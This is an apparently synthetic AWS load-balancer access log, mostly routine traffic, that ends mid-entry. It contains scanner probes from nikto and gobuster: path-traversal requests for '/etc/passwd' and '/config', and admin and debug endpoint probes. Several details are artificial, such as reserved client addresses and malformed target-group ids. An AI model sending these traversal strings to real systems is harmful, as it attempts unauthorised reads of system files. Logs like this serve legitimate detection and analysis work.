0 2024-11-01T00:06:01.146418Z "forward" "-" "-" "10.0.101.89:443" "200" "-" "-" -https 2024-11-01T00:06:02.003926Z prod-api-alb 138.109.47.136:52162 10.0.30.209:443 0.048458 0.043354 0.082653 301 301 799 9247 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b8fa-72708f5bcd0b495492f7e885" "prod-api-alb.example.com" "-" 4 2024-11-01T00:06:02.003926Z "forward" "-" "-" "10.0.30.209:443" "301" "-" "-" -https 2024-11-01T00:06:02.913381Z prod-web-alb 204.85.159.243:34459 10.0.118.164:443 0.028048 0.315507 0.054578 301 301 899 1280 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b8fa-d5f4f73204104c5f800fa664" "prod-web-alb.example.com" "-" 5 2024-11-01T00:06:02.913381Z "forward" "-" "-" "10.0.118.164:443" "301" "-" "-" -https 2024-11-01T00:06:03.817526Z prod-web-alb 99.32.160.114:50431 10.0.70.207:443 0.048067 0.240695 0.029591 404 404 386 942 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b8fb-1a4e790c64db4869903902ae" "prod-web-alb.example.com" "-" 1 2024-11-01T00:06:03.817526Z "forward" "-" "-" "10.0.70.207:443" "404" "-" "-" -https 2024-11-01T00:06:05.144178Z staging-alb 178.78.106.235:27015 180.248.78.152:80 0.017143 0.323869 0.006001 200 200 715 2270 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8fd-c05279e8fd8e4c519d5ec3c9" "staging-alb.example.com" "-" 2 2024-11-01T00:06:05.144178Z "forward" "-" "-" "180.248.78.152:80" "200" "-" "-" -https 2024-11-01T00:06:06.219283Z prod-api-alb 187.230.208.193:46916 10.0.128.25:443 0.056847 0.327380 0.090517 200 200 38 3548 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b8fe-37bb809217884d4d886cac60" "prod-api-alb.example.com" "-" 2 2024-11-01T00:06:06.219283Z "forward" "-" "-" "10.0.128.25:443" "200" "-" "-" -http 2024-11-01T00:06:07.021279Z staging-alb 224.247.19.162:62447 4.38.155.228:443 0.001880 0.059690 0.069188 200 200 661 7957 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8ff-8e7ab2f58eec4a88b451c5f3" "staging-alb.example.com" "-" 2 2024-11-01T00:06:07.021279Z "forward" "-" "-" "4.38.155.228:443" "200" "-" "-" -https 2024-11-01T00:06:07.959216Z prod-api-alb 10.97.97.45:62646 10.0.150.246:443 0.098743 0.086130 0.038534 200 200 361 6491 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b8ff-8d98b57392534d7db5a57e79" "prod-api-alb.example.com" "-" 0 2024-11-01T00:06:07.959216Z "forward" "-" "-" "10.0.150.246:443" "200" "-" "-" -https 2024-11-01T00:06:09.610429Z prod-web-alb 227.148.196.189:32215 10.0.244.78:443 0.053770 0.307656 0.047515 200 200 937 9971 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b901-873e14b7714d44b08a5b6b47" "prod-web-alb.example.com" "-" 5 2024-11-01T00:06:09.610429Z "forward" "-" "-" "10.0.244.78:443" "200" "-" "-" -https 2024-11-01T00:06:11.000728Z staging-alb 151.237.178.186:63167 94.188.45.164:443 0.078511 0.467735 0.063363 200 200 906 5690 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b903-fc7db11d6f5841f3b0a66dd7" "staging-alb.example.com" "-" 1 2024-11-01T00:06:11.000728Z "forward" "-" "-" "94.188.45.164:443" "200" "-" "-" -https 2024-11-01T00:06:12.688998Z prod-api-alb 45.155.205.19:39096 10.0.109.145:443 0.041496 0.363050 0.059463 403 403 80 14534 "GET /api/../../../config HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b904-9610a72c74f9424eadb4e19e" "-" "-" 4 2024-11-01T00:06:12.688998Z "forward" "-" "-" "10.0.109.145:443" "403" "-" "-" -https 2024-11-01T00:06:14.625528Z prod-api-alb 33.93.215.144:41610 10.0.34.185:443 0.075244 0.094809 0.095326 200 200 212 6255 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b906-8da46c63e3b94a35bc0864c8" "prod-api-alb.example.com" "-" 5 2024-11-01T00:06:14.625528Z "forward" "-" "-" "10.0.34.185:443" "200" "-" "-" -https 2024-11-01T00:06:16.183562Z prod-web-alb 108.87.184.33:37823 10.0.209.183:443 0.003401 0.351402 0.081963 200 200 813 12848 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b908-375c32562f3745cc83942059" "prod-web-alb.example.com" "-" 8 2024-11-01T00:06:16.183562Z "forward" "-" "-" "10.0.209.183:443" "200" "-" "-" -http 2024-11-01T00:06:16.636766Z staging-alb 8.247.34.136:15061 136.28.129.7:443 0.054815 0.713426 0.043690 302 302 650 14251 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b908-6589154d7c974ce18a151c7a" "staging-alb.example.com" "-" 2 2024-11-01T00:06:16.636766Z "forward" "-" "-" "136.28.129.7:443" "302" "-" "-" -http 2024-11-01T00:06:17.899723Z staging-alb 156.106.214.69:22415 116.131.195.158:80 0.128190 0.421764 0.057463 200 200 507 9557 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b909-6009814932ca42d4bea4da89" "staging-alb.example.com" "-" 5 2024-11-01T00:06:17.899723Z "forward" "-" "-" "116.131.195.158:80" "200" "-" "-" -https 2024-11-01T00:06:19.338245Z prod-web-alb 59.186.152.179:11689 10.0.122.50:443 0.087681 0.125841 0.068923 200 200 447 12646 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b90b-6f4aa490eba44e31a4fb6b1d" "prod-web-alb.example.com" "-" 3 2024-11-01T00:06:19.338245Z "forward" "-" "-" "10.0.122.50:443" "200" "-" "-" -https 2024-11-01T00:06:20.587160Z prod-api-alb 132.227.200.189:51912 10.0.151.213:443 0.088962 0.449417 0.050340 302 302 911 6835 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b90c-9a3893bface2447bb19e62ee" "prod-api-alb.example.com" "-" 2 2024-11-01T00:06:20.587160Z "forward" "-" "-" "10.0.151.213:443" "302" "-" "-" -https 2024-11-01T00:06:22.353264Z prod-web-alb 148.210.78.155:10669 10.0.195.30:443 0.095091 0.156011 0.084271 200 200 866 1144 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b90e-d133811d5f6e4eb6bf7d294e" "prod-web-alb.example.com" "-" 3 2024-11-01T00:06:22.353264Z "forward" "-" "-" "10.0.195.30:443" "200" "-" "-" -http 2024-11-01T00:06:24.270707Z staging-alb 238.175.124.201:53639 70.134.110.75:80 0.142354 0.385442 0.035658 200 200 651 9134 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b910-0cb821351a134b72a17c1f89" "staging-alb.example.com" "-" 3 2024-11-01T00:06:24.270707Z "forward" "-" "-" "70.134.110.75:80" "200" "-" "-" -https 2024-11-01T00:06:25.460368Z prod-web-alb 38.24.251.248:47495 10.0.228.146:443 0.066490 0.406123 0.064594 200 200 741 9878 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b911-51c952dcef474314ba966bfa" "prod-web-alb.example.com" "-" 3 2024-11-01T00:06:25.460368Z "forward" "-" "-" "10.0.228.146:443" "200" "-" "-" -http 2024-11-01T00:06:25.951498Z staging-alb 45.155.205.9:52915 170.252.181.131:443 0.028054 0.488476 0.066481 403 403 913 8102 "POST /debug/pprof HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b911-f313960e5254430ba6e3acb2" "-" "-" 10 2024-11-01T00:06:25.951498Z "forward" "-" "-" "170.252.181.131:443" "403" "-" "-" -https 2024-11-01T00:06:27.767109Z staging-alb 150.194.71.168:60155 62.88.216.183:443 0.060685 0.449828 0.144296 200 200 640 14325 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b913-ac3357fceb0c4bf8b13a3c5b" "staging-alb.example.com" "-" 9 2024-11-01T00:06:27.767109Z "forward" "-" "-" "62.88.216.183:443" "200" "-" "-" -https 2024-11-01T00:06:28.919852Z prod-api-alb 83.100.137.2:45502 10.0.94.139:443 0.009904 0.210253 0.086594 200 200 473 6531 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b914-f33076f607f2406ebdbf79cc" "prod-api-alb.example.com" "-" 9 2024-11-01T00:06:28.919852Z "forward" "-" "-" "10.0.94.139:443" "200" "-" "-" -http 2024-11-01T00:06:30.746189Z staging-alb 205.186.217.88:16426 119.50.129.82:8080 0.062478 0.586039 0.079350 302 302 708 13918 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b916-79062a818a77402d89caabe1" "staging-alb.example.com" "-" 4 2024-11-01T00:06:30.746189Z "forward" "-" "-" "119.50.129.82:8080" "302" "-" "-" -https 2024-11-01T00:06:32.424475Z prod-api-alb 174.8.104.27:37401 10.0.231.136:443 0.031647 0.340501 0.020293 200 200 330 4999 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b918-7ad0a301029848c4907cacbd" "prod-api-alb.example.com" "-" 6 2024-11-01T00:06:32.424475Z "forward" "-" "-" "10.0.231.136:443" "200" "-" "-" -https 2024-11-01T00:06:33.663648Z staging-alb 64.33.195.220:59321 165.134.146.132:80 0.099344 0.588002 0.027981 200 200 232 7766 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b919-a80d1629316a4f3187abf388" "staging-alb.example.com" "-" 5 2024-11-01T00:06:33.663648Z "forward" "-" "-" "165.134.146.132:80" "200" "-" "-" -https 2024-11-01T00:06:34.443946Z prod-web-alb 51.106.49.166:19724 10.0.157.90:443 0.003489 0.373915 0.055335 200 200 773 11587 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b91a-5d7edfb75fad4c58a62cc40a" "prod-web-alb.example.com" "-" 7 2024-11-01T00:06:34.443946Z "forward" "-" "-" "10.0.157.90:443" "200" "-" "-" -https 2024-11-01T00:06:35.854698Z staging-alb 185.181.55.98:61818 65.55.126.108:8080 0.040780 0.498431 0.070019 301 301 970 10331 "POST /administrator HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b91b-dcab9394eacd4dd2b61293ab" "-" "-" 5 2024-11-01T00:06:35.854698Z "forward" "-" "-" "65.55.126.108:8080" "301" "-" "-" -https 2024-11-01T00:06:36.419088Z prod-api-alb 147.231.181.157:47388 10.0.89.105:443 0.007431 0.065345 0.004498 302 302 237 5171 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b91c-f9339983e5f6435681b087d7" "prod-api-alb.example.com" "-" 6 2024-11-01T00:06:36.419088Z "forward" "-" "-" "10.0.89.105:443" "302" "-" "-" -https 2024-11-01T00:06:37.396125Z prod-api-alb 40.218.21.202:23783 10.0.116.213:443 0.062196 0.228984 0.065380 200 200 220 715 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b91d-3be006eb970c4fb1a3008c36" "prod-api-alb.example.com" "-" 1 2024-11-01T00:06:37.396125Z "forward" "-" "-" "10.0.116.213:443" "200" "-" "-" -https 2024-11-01T00:06:38.260305Z prod-web-alb 80.191.99.3:48512 10.0.141.197:443 0.012715 0.015083 0.014344 200 200 651 13361 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b91e-451d3723d7da40dca0bda596" "prod-web-alb.example.com" "-" 7 2024-11-01T00:06:38.260305Z "forward" "-" "-" "10.0.141.197:443" "200" "-" "-" -https 2024-11-01T00:06:38.371430Z prod-api-alb 220.12.124.211:30260 10.0.188.133:443 0.065344 0.189966 0.034747 200 200 120 5156 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b91e-1141c58b13884534a02a0549" "-" "-" 2 2024-11-01T00:06:38.371430Z "forward" "-" "-" "10.0.188.133:443" "200" "-" "-" -https 2024-11-01T00:06:40.273504Z prod-api-alb 29.155.47.37:34470 10.0.48.187:443 0.085245 0.004426 0.053963 200 200 613 5593 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b920-b418161041a848dfbff4a944" "prod-api-alb.example.com" "-" 4 2024-11-01T00:06:40.273504Z "forward" "-" "-" "10.0.48.187:443" "200" "-" "-" -https 2024-11-01T00:06:41.728658Z prod-api-alb 45.155.205.142:12649 10.0.82.20:443 0.092282 0.417853 0.011832 404 404 886 1862 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b921-45fc43b6fbfc4ced8b445633" "-" "-" 5 2024-11-01T00:06:41.728658Z "forward" "-" "-" "10.0.82.20:443" "404" "-" "-" -https 2024-11-01T00:06:42.997596Z staging-alb 18.71.60.56:62714 210.200.159.250:80 0.133411 0.275346 0.068146 302 302 563 13375 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b922-411ab8c0dcd24a47b83819ee" "staging-alb.example.com" "-" 7 2024-11-01T00:06:42.997596Z "forward" "-" "-" "210.200.159.250:80" "302" "-" "-" -http 2024-11-01T00:06:44.840955Z staging-alb 81.31.9.106:57537 159.211.238.126:80 0.051345 0.472663 0.092794 200 200 923 14433 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b924-63cc5175302a48538bf7cc67" "staging-alb.example.com" "-" 6 2024-11-01T00:06:44.840955Z "forward" "-" "-" "159.211.238.126:80" "200" "-" "-" -https 2024-11-01T00:06:45.610396Z prod-api-alb 193.27.228.156:33763 10.0.40.159:443 0.061078 0.292071 0.080059 403 403 849 6888 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b925-327da90c1ba74c96b55b3532" "-" "-" 5 2024-11-01T00:06:45.610396Z "forward" "-" "-" "10.0.40.159:443" "403" "-" "-" -https 2024-11-01T00:06:46.826692Z prod-api-alb 117.41.16.190:14861 10.0.252.63:443 0.091924 0.450055 0.014290 404 404 626 10276 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b926-a33d2bfae2354c3eb0515ce0" "prod-api-alb.example.com" "-" 5 2024-11-01T00:06:46.826692Z "forward" "-" "-" "10.0.252.63:443" "404" "-" "-" -http 2024-11-01T00:06:48.663429Z staging-alb 112.76.118.251:11280 160.98.181.212:80 0.003275 0.002945 0.057716 404 404 604 13086 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b928-4be15c689c66412c8e406c67" "staging-alb.example.com" "-" 2 2024-11-01T00:06:48.663429Z "forward" "-" "-" "160.98.181.212:80" "404" "-" "-" -https 2024-11-01T00:06:49.601907Z prod-api-alb 128.234.76.49:13595 10.0.253.21:443 0.085824 0.238824 0.067445 301 301 864 7308 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b929-b760be86b4404b2084da4418" "prod-api-alb.example.com" "-" 6 2024-11-01T00:06:49.601907Z "forward" "-" "-" "10.0.253.21:443" "301" "-" "-" -https 2024-11-01T00:06:50.903137Z prod-api-alb 58.24.10.62:60169 10.0.104.114:443 0.079575 0.237667 0.070588 200 200 454 4712 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b92a-9bcfe979f28742ac9d5c2220" "prod-api-alb.example.com" "-" 4 2024-11-01T00:06:50.903137Z "forward" "-" "-" "10.0.104.114:443" "200" "-" "-" -https 2024-11-01T00:06:51.600732Z staging-alb 214.58.225.128:62168 178.210.182.18:8080 0.002025 0.164644 0.111933 301 301 492 13609 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b92b-6681cf2eadd44aac9fbc09b5" "staging-alb.example.com" "-" 5 2024-11-01T00:06:51.600732Z "forward" "-" "-" "178.210.182.18:8080" "301" "-" "-" -https 2024-11-01T00:06:52.159821Z prod-web-alb 150.155.23.222:26659 10.0.125.32:443 0.031869 0.033653 0.027991 302 302 878 8549 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b92c-e5b095a1c2474c5d9d4e5854" "prod-web-alb.example.com" "-" 3 2024-11-01T00:06:52.159821Z "forward" "-" "-" "10.0.125.32:443" "302" "-" "-" -https 2024-11-01T00:06:52.936539Z staging-alb 65.102.169.197:25065 222.232.235.77:8080 0.134887 0.325208 0.143294 404 404 65 6942 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b92c-78ccff67363a470b9120ba73" "staging-alb.example.com" "-" 4 2024-11-01T00:06:52.936539Z "forward" "-" "-" "222.232.235.77:8080" "404" "-" "-" -https 2024-11-01T00:06:53.195668Z staging-alb 48.248.200.119:25793 213.52.162.124:80 0.066842 0.261872 0.142141 200 200 885 14002 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b92d-4638f8719a264f779383e94c" "staging-alb.example.com" "-" 0 2024-11-01T00:06:53.195668Z "forward" "-" "-" "213.52.162.124:80" "200" "-" "-" -https 2024-11-01T00:06:53.573337Z staging-alb 185.181.55.98:63871 74.84.50.158:8080 0.132600 0.546709 0.033638 302 302 28 11669 "POST /adminer.php HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b92d-f33209b13fc242789942f291" "-" "-" 1 2024-11-01T00:06:53.573337Z "forward" "-" "-" "74.84.50.158:8080" "302" "-" "-" -https 2024-11-01T00:06:55.011245Z prod-web-alb 250.213.139.146:10774 10.0.156.156:443 0.004954 0.373794 0.007784 200 200 351 3269 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b92f-a57540c1a67a4b6098bee5d2" "prod-web-alb.example.com" "-" 1 2024-11-01T00:06:55.011245Z "forward" "-" "-" "10.0.156.156:443" "200" "-" "-" -https 2024-11-01T00:06:56.561204Z prod-api-alb 155.123.179.161:46617 10.0.254.195:443 0.064466 0.208293 0.096983 200 200 911 12572 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b930-27c4cce9d0c844a5b1b5e413" "prod-api-alb.example.com" "-" 10 2024-11-01T00:06:56.561204Z "forward" "-" "-" "10.0.254.195:443" "200" "-" "-" -https 2024-11-01T00:06:56.695094Z prod-web-alb 22.80.3.26:22788 10.0.240.173:443 0.066299 0.255579 0.082471 404 404 860 12750 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b930-a48d9a96f35549bda1fd6aa0" "prod-web-alb.example.com" "-" 3 2024-11-01T00:06:56.695094Z "forward" "-" "-" "10.0.240.173:443" "404" "-" "-" -https 2024-11-01T00:06:56.852018Z staging-alb 112.141.73.98:48340 51.66.75.116:443 